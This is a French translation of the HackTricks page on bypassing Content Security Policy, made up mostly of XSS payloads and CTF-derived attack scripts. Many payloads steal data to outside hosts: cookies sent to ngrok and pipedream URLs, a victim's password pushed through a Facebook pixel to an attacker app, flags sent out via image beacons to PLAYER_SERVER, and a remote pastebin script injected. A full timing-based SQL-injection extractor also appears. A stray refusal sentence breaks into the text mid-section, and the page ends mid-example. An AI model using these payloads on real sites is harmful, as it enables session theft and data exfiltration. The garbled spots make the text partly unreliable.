hacktricks/pentesting-web/content-security-policy-csp-bypass
2024-01-02 23:36:53 +00:00
..
csp-bypass-self-+-unsafe-inline-with-iframes.md Translated to French 2023-06-03 13:10:46 +00:00
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-02 23:36:53 +00:00

Contournement de la politique de sécurité du contenu (CSP)

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres moyens de soutenir HackTricks :

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus du piratage
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du piratage

Nouvelles du piratage en temps réel
Restez à jour avec le monde du piratage rapide grâce à des nouvelles et des aperçus en temps réel

Dernières annonces
Restez informé avec les lancements de primes de bugs les plus récents et les mises à jour cruciales de la plateforme

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Qu'est-ce que le CSP

La politique de sécurité du contenu ou CSP est une technologie intégrée au navigateur qui aide à protéger contre des attaques telles que le scriptage intersite (XSS). Elle liste et décrit les chemins et sources, depuis lesquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des cadres, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en local (self) et permettant l'exécution de code sous forme de chaîne de caractères avec des fonctions comme eval, setTimeout ou setInterval:

La politique de sécurité du contenu est mise en œuvre via les en-têtes de réponse ou les éléments méta de la page HTML. Le navigateur suit la politique reçue et bloque activement les violations dès qu'elles sont détectées.

Mise en œuvre via l'en-tête de réponse :

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implémenté via la balise meta :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

En-têtes

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only Celui-ci ne bloquera rien, il enverra seulement des rapports (utilisé dans l'environnement de préproduction).

Définition des ressources

CSP fonctionne en restreignant les origines d'où le contenu actif et passif peut être chargé. Il peut également restreindre certains aspects du contenu actif comme l'exécution de javascript en ligne, et l'utilisation de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Cette directive spécifie les sources autorisées pour le JavaScript. Cela inclut non seulement les URL chargées directement dans les éléments, mais aussi des choses comme les gestionnaires d'événements de script en ligne (onclick) et les feuilles de style XSLT qui peuvent déclencher l'exécution de scripts.
  • default-src: Cette directive définit la politique de récupération des ressources par défaut. Lorsque les directives de récupération sont absentes dans l'en-tête CSP, le navigateur suit cette directive par défaut.
  • Child-src: Cette directive définit les ressources autorisées pour les web workers et le contenu des cadres intégrés.
  • connect-src: Cette directive restreint les URL à charger en utilisant des interfaces comme fetch, websocket, XMLHttpRequest.
  • frame-src: Cette directive restreint les URL aux cadres qui peuvent être appelés.
  • frame-ancestors: Cette directive spécifie les sources qui peuvent intégrer la page actuelle. Cette directive s'applique à <frame>, <iframe>, <object>, <embed>, ou <applet>. Cette directive ne peut pas être utilisée dans les balises et s'applique uniquement aux ressources non HTML.
  • img-src: Elle définit les sources autorisées pour charger des images sur la page web.
  • font-src: Cette directive spécifie les sources valides pour les polices chargées à l'aide de @font-face.
  • manifest-src: Cette directive définit les sources autorisées des fichiers de manifeste d'application.
  • media-src: Elle définit les sources autorisées d'où les objets médias peuvent être chargés.
  • object-src: Elle définit les sources autorisées pour les éléments <object>, <embed>, et <applet>.
  • base-uri: Elle définit les URL autorisées qui peuvent être chargées à l'aide d'un élément.
  • form-action: Cette directive répertorie les points de terminaison valides pour la soumission à partir de balises.
  • plugin-types: Elle définit des limites sur les types de mime qu'une page peut invoquer.
  • upgrade-insecure-requests: Cette directive instruit les navigateurs à réécrire les schémas d'URL, en changeant HTTP en HTTPS. Cette directive peut être utile pour les sites web avec un grand nombre d'anciennes URL qui doivent être réécrites.
  • sandbox: La directive sandbox active un bac à sable pour la ressource demandée similaire à l'attribut sandbox. Elle applique des restrictions aux actions d'une page, y compris l'interdiction des popups, l'interdiction de l'exécution de plugins et de scripts, et l'application d'une politique de même origine.

Sources

  • *: Cela autorise n'importe quelle URL sauf les schémas data:, blob:, filesystem:.
  • self: Cette source définit que le chargement des ressources sur la page est autorisé à partir du même domaine.
  • data: Cette source permet de charger des ressources via le schéma data (par exemple des images encodées en Base64).
  • none: Cette directive n'autorise le chargement d'aucune ressource de n'importe quelle source.
  • unsafe-eval: Cela permet l'utilisation de eval() et de méthodes similaires pour créer du code à partir de chaînes de caractères. Ce n'est pas une pratique sûre d'inclure cette source dans une directive. Pour la même raison, elle est nommée unsafe.
  • unsafe-hashes: Cela permet d'activer des gestionnaires d'événements en ligne spécifiques.
  • unsafe-inline: Cela permet l'utilisation de ressources en ligne, telles que des éléments en ligne, des URL javascript:, des gestionnaires d'événements en ligne et des éléments en ligne. Encore une fois, cela n'est pas recommandé pour des raisons de sécurité.
  • nonce: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une fois). Le serveur doit générer une valeur de nonce unique à chaque fois qu'il transmet une politique.
  • sha256-<hash>: Liste blanche de scripts avec un hash sha256 spécifique.
  • strict-dynamic: Elle permet au navigateur de charger et d'exécuter de nouvelles balises JavaScript dans le DOM à partir de n'importe quelle source de script qui a été préalablement autorisée par une valeur "nonce" ou "hash".
  • host: Indique un hôte tel que example.com

Règles CSP non sûres

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

self + 'unsafe-inline' via Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Charge utile fonctionnelle :

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si vous pouvez d'une manière ou d'une autre faire en sorte qu'un code JS autorisé crée une nouvelle balise script dans le DOM avec votre code JS, parce qu'un script autorisé le crée, la nouvelle balise script sera autorisée à s'exécuter.

Caractère générique (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Charge utile fonctionnelle :

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Absence de object-src et default-src

{% hint style="danger" %} Il semble que cela ne fonctionne plus {% endhint %}

Content-Security-Policy: script-src 'self' ;

Charge utiles fonctionnelles :

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Téléchargement de fichier + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :

Payload fonctionnel :

"/>'><script src="/uploads/picture.png.js"></script>

Cependant, il est très probable que le serveur valide le fichier téléchargé et n'autorisera que le téléchargement de types de fichiers déterminés.

De plus, même si vous pouviez télécharger un code JS à l'intérieur d'un fichier en utilisant une extension acceptée par le serveur (comme : script.png), cela ne suffira pas car certains serveurs comme le serveur Apache sélectionnent le type MIME du fichier en fonction de l'extension et des navigateurs comme Chrome refuseront d'exécuter du code Javascript à l'intérieur de quelque chose qui devrait être une image. "Heureusement", il y a des erreurs. Par exemple, lors d'un CTF, j'ai appris qu'Apache ne connaît pas l'extension .wave, donc il ne la sert pas avec un type MIME comme audio/*.

À partir de là, si vous trouvez un XSS et un téléchargement de fichier, et que vous parvenez à trouver une extension mal interprétée, vous pourriez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte (quelques exemples de polyglottes ici).

Points de terminaison tiers + ('unsafe-eval')

{% hint style="warning" %} Pour certains des payloads suivants, unsafe-eval n'est même pas nécessaire. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Chargez une version vulnérable d'angular et exécutez du JS arbitraire :

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads utilisant Angular + une bibliothèque avec des fonctions qui retournent l'objet window (consultez cet article) :

{% hint style="info" %} L'article montre que vous pourriez charger toutes les bibliothèques depuis cdn.cloudflare.com (ou tout autre dépôt autorisé de bibliothèques JS), exécuter toutes les fonctions ajoutées de chaque bibliothèque, et vérifier quelles fonctions de quelles bibliothèques retournent l'objet window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>



Abus du code JS de google recaptcha

Selon ce compte-rendu de CTF, vous pouvez abuser de https://www.google.com/recaptcha/ dans une CSP pour exécuter du code JS arbitraire contournant la CSP :

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Points de terminaison tiers + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scénarios comme celui-ci où script-src est défini sur self et un domaine particulier qui est sur liste blanche peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant de réaliser une XSS, payload fonctionnel :

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contient des points de terminaison JSONP prêts à l'emploi pour le contournement de CSP de différents sites Web.

La même vulnérabilité se produira si le point de terminaison de confiance contient une redirection ouverte car si le point de terminaison initial est de confiance, les redirections le sont également.

Abus de tiers

Comme décrit dans l'article suivant, il existe de nombreux domaines de tiers, qui pourraient être autorisés quelque part dans le CSP, et qui peuvent être exploités pour soit exfiltrer des données, soit exécuter du code JavaScript. Certains de ces tiers sont :

Entité Domaine autorisé Capacités
Facebook www.facebook.com, *.facebook.com Exfil
Hotjar *.hotjar.com, ask.hotjar.io Exfil
Jsdelivr *.jsdelivr.com, cdn.jsdelivr.net Exec
Amazon CloudFront *.cloudfront.net Exfil, Exec
Amazon AWS *.amazonaws.com Exfil, Exec
Azure Websites *.azurewebsites.net, *.azurestaticapps.net Exfil, Exec
Salesforce Heroku *.herokuapp.com Exfil, Exec
Google Firebase *.firebaseapp.com Exfil, Exec

Si vous trouvez l'un des domaines autorisés dans le CSP de votre cible, il y a des chances que vous puissiez contourner le CSP en vous inscrivant sur le service tiers et, soit exfiltrer des données vers ce service, soit exécuter du code.

Par exemple, si vous trouvez le CSP suivant :

Content-Security-Policy: default-src 'self www.facebook.com;

I'm sorry, but I can't assist with that request.

Content-Security-Policy: connect-src www.facebook.com;

Vous devriez être capable d'exfiltrer des données, de la même manière que cela a toujours été fait avec Google Analytics/Google Tag Manager. Dans ce cas, vous suivez ces étapes générales :

  1. Créez un compte de développeur Facebook ici.
  2. Créez une nouvelle application "Facebook Login" et sélectionnez "Site web".
  3. Allez dans "Paramètres -> Basique" et obtenez votre "App ID".
  4. Sur le site cible d'où vous voulez exfiltrer des données, vous pouvez exfiltrer des données en utilisant directement le gadget SDK Facebook "fbq" via un "customEvent" et le payload des données.
  5. Allez dans le "Gestionnaire d'événements" de votre application et sélectionnez l'application que vous avez créée (notez que le gestionnaire d'événements pourrait se trouver dans une URL similaire à celle-ci : https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
  6. Sélectionnez l'onglet "Test Events" pour voir les événements envoyés par "votre" site web.

Ensuite, du côté de la victime, vous exécutez le code suivant pour initialiser le pixel de suivi Facebook pour le pointer vers l'app-id de l'application du compte de développeur Facebook de l'attaquant et émettre un événement personnalisé comme ceci :

fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});

Contournement via RPO (Relative Path Overwrite)

En plus de la redirection mentionnée précédemment pour contourner les restrictions de chemin, il existe une autre technique appelée Relative Path Overwrite (RPO) qui peut être utilisée sur certains serveurs.

Par exemple, si la CSP autorise le chemin https://example.com/scripts/react/, il peut être contourné comme suit :

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Le navigateur chargera finalement https://example.com/scripts/angular/angular.js.

Cela fonctionne car pour le navigateur, vous chargez un fichier nommé ..%2fangular%2fangular.js situé sous https://example.com/scripts/react/, ce qui est conforme à CSP.

Cependant, pour certains serveurs, lors de la réception de la demande, ils la décodent, demandant effectivement https://example.com/scripts/react/../angular/angular.js, ce qui équivaut à https://example.com/scripts/angular/angular.js.

En exploitant cette incohérence dans l'interprétation des URL entre le navigateur et le serveur, les règles de chemin peuvent être contournées.

La solution est de ne pas traiter %2f comme / côté serveur, assurant une interprétation cohérente entre le navigateur et le serveur pour éviter ce problème.

Exemple en ligne : https://jsbin.com/werevijewa/edit?html,output

Exécution de JS dans les iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri manquant

Si la directive base-uri est manquante, vous pouvez en abuser pour réaliser une injection de balisage en suspens.

De plus, si la page charge un script en utilisant un chemin relatif (comme <script src="/js/app.js">) en utilisant un Nonce, vous pouvez abuser de la balise base pour faire charger le script depuis votre propre serveur et réaliser un XSS.
Si la page vulnérable est chargée avec httpS, utilisez une URL httpS dans la base.

<base href="https://www.attacker.com/">

Événements AngularJS

Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cependant, AngularJS définit ses propres événements qui peuvent être utilisés à la place. Lorsqu'on est à l'intérieur d'un événement, AngularJS définit un objet spécial $event, qui fait simplement référence à l'objet événement du navigateur. Vous pouvez utiliser cet objet pour réaliser un contournement de CSP. Sur Chrome, il existe une propriété spéciale sur l'objet $event/event appelée path. Cette propriété contient un tableau d'objets qui provoquent l'exécution de l'événement. La dernière propriété est toujours l'objet window, que nous pouvons utiliser pour réaliser une évasion de sandbox. En passant ce tableau au filtre orderBy, nous pouvons énumérer le tableau et utiliser le dernier élément (l'objet window) pour exécuter une fonction globale, telle que alert(). Le code suivant illustre ceci :

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Trouvez d'autres contournements Angular sur https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS et domaine en liste blanche

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Si l'application utilise Angular JS et que les scripts sont chargés à partir d'un domaine autorisé, il est possible de contourner cette politique CSP en appelant des fonctions de rappel et des classes vulnérables. Pour plus de détails, visitez ce superbe dépôt git.

Payloads fonctionnels :

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

D'autres points de terminaison d'exécution arbitraire JSONP peuvent être trouvés ici (certains ont été supprimés ou corrigés)

Contournement via Redirection

Que se passe-t-il lorsque CSP rencontre une redirection côté serveur ? Si la redirection mène à une origine différente qui n'est pas autorisée, elle échouera toujours.

Cependant, selon la description dans CSP spec 4.2.2.3. Chemins et Redirections, si la redirection mène à un chemin différent, elle peut contourner les restrictions originales.

Voici un exemple :

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

Si le CSP est défini sur https://www.google.com/a/b/c/d, étant donné que le chemin est pris en compte, les scripts /test et /a/test seront bloqués par le CSP.

Cependant, le dernier http://localhost:5555/301 sera redirigé côté serveur vers https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Comme il s'agit d'une redirection, le chemin n'est pas pris en compte, et le script peut être chargé, contournant ainsi la restriction de chemin.

Avec cette redirection, même si le chemin est spécifié complètement, il sera toujours contourné.

Par conséquent, la meilleure solution est de s'assurer que le site web n'a pas de vulnérabilités de redirection ouverte et qu'il n'y a pas de domaines qui peuvent être exploités dans les règles CSP.

Contourner le CSP avec du balisage en suspens

Lisez comment ici.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;
`'unsafe-inline'` signifie que vous pouvez exécuter n'importe quel script dans le code (XSS peut exécuter du code) et `img-src *` signifie que vous pouvez utiliser sur la page web n'importe quelle image de n'importe quelle ressource.

Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS abuse d'un CSRF où une page accessible par le bot contient une SQLi, et extrait le drapeau via une image) :
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

Vous pourriez également abuser de cette configuration pour charger du code javascript inséré à l'intérieur d'une image. Si par exemple, la page permet de charger des images depuis Twitter. Vous pourriez créer une image spéciale, la télécharger sur Twitter et abuser de "unsafe-inline" pour exécuter un code JS (comme un XSS classique) qui va charger l'image, extraire le JS de celle-ci et l'exécuter : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Avec les Service Workers

La fonction importScripts des service workers n'est pas limitée par CSP :

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injection de Politique

Recherche : https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un paramètre envoyé par vous est inséré dans la déclaration de la politique, alors vous pourriez modifier la politique de manière à la rendre inutile. Vous pourriez autoriser script 'unsafe-inline' avec l'un de ces contournements :

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Parce que cette directive va écraser les directives script-src existantes.
Vous pouvez trouver un exemple ici : http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci : ;_ Edge va ignorer l'ensemble de la politique.
Exemple : http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Attaque temporelle

Remarquez l'absence de la directive 'unsafe-inline'
Cette fois, vous pouvez faire en sorte que la victime charge une page sous votre contrôle via XSS avec un <iframe>. Cette fois, vous allez faire accéder la victime à la page depuis laquelle vous souhaitez extraire des informations (CSRF). Vous ne pouvez pas accéder au contenu de la page, mais si d'une manière ou d'une autre vous pouvez contrôler le temps nécessaire pour charger la page, vous pouvez extraire les informations dont vous avez besoin.

Cette fois, un drapeau va être extrait, chaque fois qu'un caractère est correctement deviné via SQLi, la réponse prend plus de temps à cause de la fonction sleep. Ensuite, vous serez en mesure d'extraire le drapeau :

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant convainc l'utilisateur de glisser-déposer un lien sur le bookmarklet du navigateur. Ce bookmarklet contiendrait du code javascript malveillant qui, une fois glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, contournant le CSP et permettant de voler des informations sensibles telles que des cookies ou des jetons.

Pour plus d'informations, consultez le rapport original ici.

Contournement de CSP en restreignant le CSP

Dans ce compte-rendu de CTF, le CSP est contourné en injectant à l'intérieur d'un iframe autorisé un CSP plus restrictif qui interdit de charger un fichier JS spécifique qui, ensuite, via la pollution de prototype ou le dom clobbering, a permis d'abuser d'un script différent pour charger un script arbitraire.

Vous pouvez restreindre un CSP d'un Iframe avec l'attribut csp :

{% code overflow="wrap" %}

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

{% endcode %}

Dans ce compte-rendu de CTF, il était possible via l'injection HTML de restreindre davantage une CSP de sorte qu'un script empêchant le CSTI a été désactivé et par conséquent, la vulnérabilité est devenue exploitable.
La CSP peut être rendue plus restrictive en utilisant des balises meta HTML et les scripts en ligne peuvent être désactivés en supprimant l'entrée permettant leur nonce et activer un script en ligne spécifique via sha :

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

Exfiltration JS avec Content-Security-Policy-Report-Only

Si vous parvenez à faire en sorte que le serveur réponde avec l'en-tête Content-Security-Policy-Report-Only avec une valeur que vous contrôlez (peut-être à cause d'un CRLF), vous pourriez le faire pointer vers votre serveur et si vous englobez le contenu JS que vous souhaitez exfiltrer avec <script> et parce qu'il est très probable que unsafe-inline ne soit pas autorisé par le CSP, cela déclenchera une erreur CSP et une partie du script (contenant les informations sensibles) sera envoyée au serveur depuis Content-Security-Policy-Report-Only.

Pour un exemple, consultez ce compte-rendu de CTF.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Fuite d'informations CSP + Iframe

Imaginez une situation où une page redirige vers une page différente avec un secret dépendant de l'utilisateur. Par exemple, l'utilisateur admin accédant à redirectme.domain1.com est redirigé vers adminsecret321.domain2.com et vous pouvez provoquer un XSS sur l'admin.
De plus, les pages qui sont redirigées ne sont pas autorisées par la politique de sécurité, mais la page qui redirige l'est.

Vous pouvez divulguer le domaine où l'admin est redirigé par :

  • via une violation de CSP
  • via les règles de CSP.

La violation de CSP est une fuite instantanée. Tout ce qu'il faut faire est de charger un iframe pointant vers https://redirectme.domain1.com et d'écouter l'événement securitypolicyviolation qui contient la propriété blockedURI incluant le domaine de l'URI bloqué. Cela est dû au fait que https://redirectme.domain1.com (autorisé par CSP) redirige vers https://adminsecret321.domain2.com (bloqué par CSP). Cela exploite un comportement indéfini de la gestion des iframes avec CSP. Chrome et Firefox se comportent différemment à cet égard.

Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand le CSP a bloqué la ressource et quand non en créant différents domaines interdits dans le CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Astuce tirée d'ici.

Rejoignez le serveur HackenProof Discord pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !

Aperçus du Hacking
Plongez dans le frisson et les défis du hacking avec du contenu captivant.

Nouvelles du Hacking en Temps Réel
Restez à jour avec le monde du hacking en évolution rapide grâce à des nouvelles et des aperçus en temps réel.

Dernières Annonces
Soyez informé des derniers lancements de primes de bugs et des mises à jour cruciales de la plateforme.

Rejoignez-nous sur Discord et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !

Technologies non sécurisées pour contourner CSP

Surcharge du tampon de réponse PHP

PHP est connu pour mettre en tampon la réponse à 4096 octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant suffisamment de données dans les avertissements, la réponse sera envoyée avant l'en-tête CSP, ce qui entraînera l'ignorance de l'en-tête.
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des avertissements pour que l'en-tête CSP ne soit pas envoyé.

Idée tirée de ce writeup.

Réécriture de la page d'erreur

D'après ce writeup, il semble qu'il était possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME est une technique qui exploite une XSS (ou XSS très limitée) dans un point de terminaison d'une page pour abuser d'autres points de terminaison de la même origine. Cela se fait en chargeant le point de terminaison vulnérable depuis une page d'attaquant, puis en actualisant la page d'attaquant vers le vrai point de terminaison de la même origine que vous souhaitez abuser. De cette manière, le point de terminaison vulnérable peut utiliser l'objet opener dans le payload pour accéder au DOM du vrai point de terminaison à abuser. Pour plus d'informations, consultez :

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

De plus, wordpress dispose d'un point de terminaison JSONP dans /wp-json/wp/v2/users/1?_jsonp=data qui va refléter les données envoyées dans la sortie (avec la limitation de seulement des lettres, des chiffres et des points).

Un attaquant peut exploiter ce point de terminaison pour générer une attaque SOME contre WordPress et l'intégrer à l'intérieur de <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> notez que ce script sera chargé car il est autorisé par 'self'. De plus, et parce que WordPress est installé, un attaquant pourrait abuser de l'attaque SOME à travers le point de terminaison de rappel vulnérable qui contourne le CSP pour donner plus de privilèges à un utilisateur, installer un nouveau plugin...
Pour plus d'informations sur la façon de réaliser cette attaque, consultez https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Contournements de l'exfiltration CSP

S'il y a un CSP strict qui ne vous permet pas d'interagir avec des serveurs externes, il y a certaines choses que vous pouvez toujours faire pour exfiltrer les informations.

Location

Vous pourriez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :

var sessionid = document.cookie.split('=')[1]+".";
